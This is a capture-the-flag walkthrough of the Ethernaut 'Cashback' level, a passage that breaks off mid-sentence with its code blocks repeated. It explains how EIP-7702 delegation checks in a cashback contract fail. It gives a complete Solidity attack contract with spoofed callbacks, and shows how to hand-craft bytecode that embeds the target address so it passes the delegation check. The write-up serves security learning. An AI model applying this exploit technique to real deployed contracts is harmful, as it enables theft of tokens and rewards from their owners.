While digging into the EIP-7702 nuances, I worked through the Ethernaut Cashback challenge — a scenario designed to test whether developers truly understand the security implications of 7702-based delegation. On the surface, the challenge looks straightforward: a cashback program that rewards users for on-chain payments and grants a Super Cashback NFT once enough points are accumulated. Ethernaut Cashback Ethernaut Cashback Super Cashback To participate, users must delegate to the Cashback contract using EIP-7702. Only then can they call payWithCashback and start earning points. The system appears to enforce strict access controls, and its modifiers suggest a clear security model. In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges. The challenge https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the payWithCashback function. Rumor has it there’s a back door for power users. Your brief is simple: become the loyalty program’s nightmare. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, one of which must correspond to your player address. You've just joined Cashback, the hottest crypto neobank in town. Their pitch is irresistible: for every on-chain payment you make, you earn points. Rack up enough and you'll reach legendary status, unlocking the coveted Super Cashback NFT badge. The system leverages EIP-7702 to allow EOAs to accrue cashback. Users must delegate to the Cashback contract to use the payWithCashback function. payWithCashback Rumor has it there’s a back door for power users. Your brief is simple: become the loyalty program’s nightmare. Max out your cashback in every supported currency and walk away with at least two Super Cashback NFT, one of which must correspond to your player address. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } The Intended Security Model The Cashback contract uses modifiers to control who calls and where code executes: who where Caller identity checks: Caller identity checks onlyEOA(): Ensures the caller is an EOA, not a contract (msg.sender == tx.origin). onlyCashback(): Ensures the caller is the Cashback contract itself. onlyNotCashback(): Ensures the caller is NOT the Cashback contract. onlyEOA(): Ensures the caller is an EOA, not a contract (msg.sender == tx.origin). onlyEOA() msg.sender == tx.origin onlyCashback(): Ensures the caller is the Cashback contract itself. onlyCashback() onlyNotCashback(): Ensures the caller is NOT the Cashback contract. onlyNotCashback() Execution context checks: Execution context checks onlyOnCashback(): Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract. notOnCashback(): Ensures code is NOT executing at the Cashback contract address. This means the function must run through a delegatecall, not directly on the contract. onlyOnCashback(): Ensures code is executing at the Cashback contract address. Functions with this modifier can only run when called directly on the contract. onlyOnCashback() notOnCashback(): Ensures code is NOT executing at the Cashback contract address. This means the function must run through a delegatecall, not directly on the contract. notOnCashback() delegatecall In essence, the system should work like this: A delegated EOA calls payWithCashback on itself. This works because the call happens notOnCashback and passes onlyEOA. The payWithCashback function calls Cashback.accrueCashback directly on the Cashback instance. It has three modifiers: onlyDelegatedToCashback passes because the caller delegated to Cashback, onlyOnCashback passes because the call happens on Cashback directly. The onlyUnlocked modifier relates to step 3. The onlyUnlocked modifier calls isUnlocked on msg.sender. Since payWithCashback unlocked it, this check passes. During execution, accrueCashback calls consumeNonce on msg.sender. This function has two modifiers: onlyCashback passes because it's called by the Cashback instance, and notOnCashback passes because this function runs in the EOA's context. Finally, consumeNonce increments the nonce in the EOA's storage. A delegated EOA calls payWithCashback on itself. This works because the call happens notOnCashback and passes onlyEOA. payWithCashback notOnCashback onlyEOA The payWithCashback function calls Cashback.accrueCashback directly on the Cashback instance. It has three modifiers: onlyDelegatedToCashback passes because the caller delegated to Cashback, onlyOnCashback passes because the call happens on Cashback directly. The onlyUnlocked modifier relates to step 3. payWithCashback Cashback.accrueCashback onlyDelegatedToCashback onlyOnCashback onlyUnlocked The onlyUnlocked modifier calls isUnlocked on msg.sender. Since payWithCashback unlocked it, this check passes. onlyUnlocked isUnlocked msg.sender payWithCashback During execution, accrueCashback calls consumeNonce on msg.sender. This function has two modifiers: onlyCashback passes because it's called by the Cashback instance, and notOnCashback passes because this function runs in the EOA's context. accrueCashback consumeNonce msg.sender onlyCashback notOnCashback Finally, consumeNonce increments the nonce in the EOA's storage. consumeNonce Finding Constants Before we can attack, we need to identify the challenge's key parameters and addresses. Supported Currencies The Cashback contract supports two currencies. While not explicitly defined in the challenge description, we can find them: The native currency at 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE Freedom Coin (FREE) at 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 The native currency at 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE Freedom Coin (FREE) at 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 FREE 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 You can verify this by taking the level address and checking its code, and by calling the FREE() function. its code FREE() function Super Cashback NFT You can find its address by calling superCashbackNFT on your Cashback instance. superCashbackNFT Maximum Cashback and Cashback Rates To calculate the required spending for maximum cashback, we need two parameters. Find them by calling maxCashback and cashbackRates on your instance. The contract uses BASIS_POINTS = 10000 for percentage calculations: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; For example, Freedom Coin has a max cashback of 500e18 and a rate of 200 (i.e. 2%). To calculate the required spend: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 That's 25,000 FREE tokens. Nonce Starts at 0. The contract mints a Super Cashback NFT when your nonce reaches SUPERCASHBACK_NONCE, which is hardcoded to 10,000. SUPERCASHBACK_NONCE Attack Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit. Looking at the architecture, we notice we can call accrueCashback directly. Although its modifiers are designed to restrict access to internal calls through payWithCashback, the function itself is external — so we can call it directly if we bypass the guards: accrueCashback payWithCashback onlyOnCashback We can bypass it by calling the Cashback instance directly. onlyUnlocked Since this modifier calls isUnlocked on msg.sender, we can bypass it by calling from a contract with an isUnlocked function that always returns true. onlyDelegatedToCashback This one's tricky. Let's examine it closely: onlyOnCashback We can bypass it by calling the Cashback instance directly. onlyOnCashback onlyUnlocked Since this modifier calls isUnlocked on msg.sender, we can bypass it by calling from a contract with an isUnlocked function that always returns true. onlyUnlocked msg.sender onlyDelegatedToCashback This one's tricky. Let's examine it closely: onlyDelegatedToCashback modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } The onlyDelegatedToCashback modifier attempts to verify that the caller has delegated to the Cashback contract by reading the delegation address from the account's bytecode. With EIP-7702, delegated accounts have special bytecode: 0xef0100 followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 To bypassonlyDelegatedToCashback, we need our attack contract's bytecode to look like a valid delegation designator — specifically, the Cashback address must appear at bytes 4–23. The bytecode structure: onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. We'll handle this manually later. First, let's create the attack contract. Preparing the Attack Contract As discussed, our contract will be called back by the Cashback instance twice: to check if it's unlocked and to consume the nonce. We need to ensure it's always unlocked and consumeNonce return the value required for a SuperCashback NFT. We want full cashback for both currencies, but since NFTs are minted with the caller's address as the ID, the second accrueCashback call would revert. So we'll return a 10,000 nonce only once. consumeNonce accrueCashback 10,000 We'll set the currencies and the Cashback address as constants. Since we're calling accrueCashback directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback. accrueCashback Finally, we'll transfer all cashback and the NFT to our player's address. Here's the complete contract: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Adjusting Bytecode to Bypass the Delegation Check Now comes the tricky part. We need to modify the AccrueCashbackAttack bytecode to pass the onlyDelegatedToCashbackmodifier. First, compile your contracts. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in artifacts/contracts/Attack.sol/AccrueCashbackAttack.json. There are two properties: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json bytecode is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain. deployedBytecode is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. bytecode is the creation (init) code executed once during deployment. It runs the constructor logic and returns the runtime code to be stored on-chain. bytecode deployedBytecode is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode We'll place our Cashback instance address at offset 0x03, exactly where onlyDelegatedToCashback looks for it. The deployedBytecode follows after: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Jumping Over the Embedded Address To skip the 20-byte address during normal execution, we'll use these opcodes: PUSH1 to specify the jump destination JUMP to perform the jump JUMPDEST to mark the destination (required to avoid revert) PUSH1 to specify the jump destination PUSH1 JUMP to perform the jump JUMP JUMPDEST to mark the destination (required to avoid revert) JUMPDEST This way, only the onlyDelegatedToCashback modifier reads the <CASHBACK_ADDRESS>. onlyDelegatedToCashback <CASHBACK_ADDRESS> But what offset should we jump to? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | The obvious yet incorrect assumption is 0x17, right after <CASHBACK_ADDRESS>. In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why. 0x17 <CASHBACK_ADDRESS> My instance is at 0xf991E138bA49e25a7DA1a11A726077c77c6241A8. So my contract could start like this: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | However, let's see how this bytecode disassembles: Problem! The byte 0x7D in our instance address is the PUSH30 opcode. When the EVM encounters PUSH30, it consumes the following 30 bytes as literal arguments, not as instructions. My JUMPDEST (5B) is positioned at offset 0x17, but it gets consumed as data for PUSH30 instead of being executed as an instruction. This corrupts the bytecode stream, causing an EVM error: InvalidJump when execution reaches that location. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our JUMPDEST outside the 30 bytes consumed by PUSH30: JUMPDEST PUSH30 Perfect! The JUMPDEST appears at 2a. Let's update our PUSH1instruction. My final version: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | This prefix totals 43 bytes: PUSH1 (2) + JUMP (1) + address (20) + padding (19) + JUMPDEST (1). PUSH1 JUMP address padding JUMPDEST Adjusting Jump Offsets Now we can add our deployedBytecode. But since we increased the contract size by 43 bytes, we need to adjust all JUMP and JUMPI offsets by this amount. deployedBytecode JUMP JUMPI For demonstration, let's see how to do this manually. Go to https://www.evm.codes/playground, choose Bytecode, and paste your deployedBytecode. On the right, you'll see the opcodes list. Find the first JUMPDEST at [0f]. Find all PUSH2 opcodes used by JUMP and JUMPI with values matching this JUMPDEST and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST This method isn't perfect—we might accidentally modify PUSH2 values that aren't jump destinations. However, false positives should be rare enough for this challenge. PUSH2 Why PUSH2? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2. Why PUSH2? Why PUSH2 ? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2. The compiler uses PUSH2 uniformly for all jump destinations rather than mixing PUSH1 and PUSH2 . Doing this manually would be overwhelming, so I created a script that: Finds all JUMPDEST opcodes and stores their initial and adjusted offsets Finds all PUSH2 opcodes with values matching initial JUMPDEST offsets and updates them to adjusted values Finds all JUMPDEST opcodes and stores their initial and adjusted offsets Finds all JUMPDEST opcodes and stores their initial and adjusted offsets JUMPDEST Finds all PUSH2 opcodes with values matching initial JUMPDEST offsets and updates them to adjusted values Finds all PUSH2 opcodes with values matching initial JUMPDEST offsets and updates them to adjusted values PUSH2 JUMPDEST You can find the script to automate this process in the repository. repository repository Never blindly download and execute random code, including this one! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Never blindly download and execute random code, including this one! Never blindly download and execute random code, including this one! Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Always review and understand what you're running. Use isolated environments like devcontainers or VMs when experimenting with untrusted code. Creation Bytecode To deploy this contract, we need to craft creation bytecode. Let's modify the existing creation code. The bytecode value in artifacts contains it at the beginning. Here's mine: 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe. Disassembling it shows: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 [10] PUSH2 0c46 This 0c46 is the initial code length—3142 bytes. 0c46 3142 bytes We need to use our adjusted code length plus the 43 bytes we added manually. For me, that's0C71 (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Final Bytecode Assembly The final bytecode is simply the creation code concatenated with the adjusted 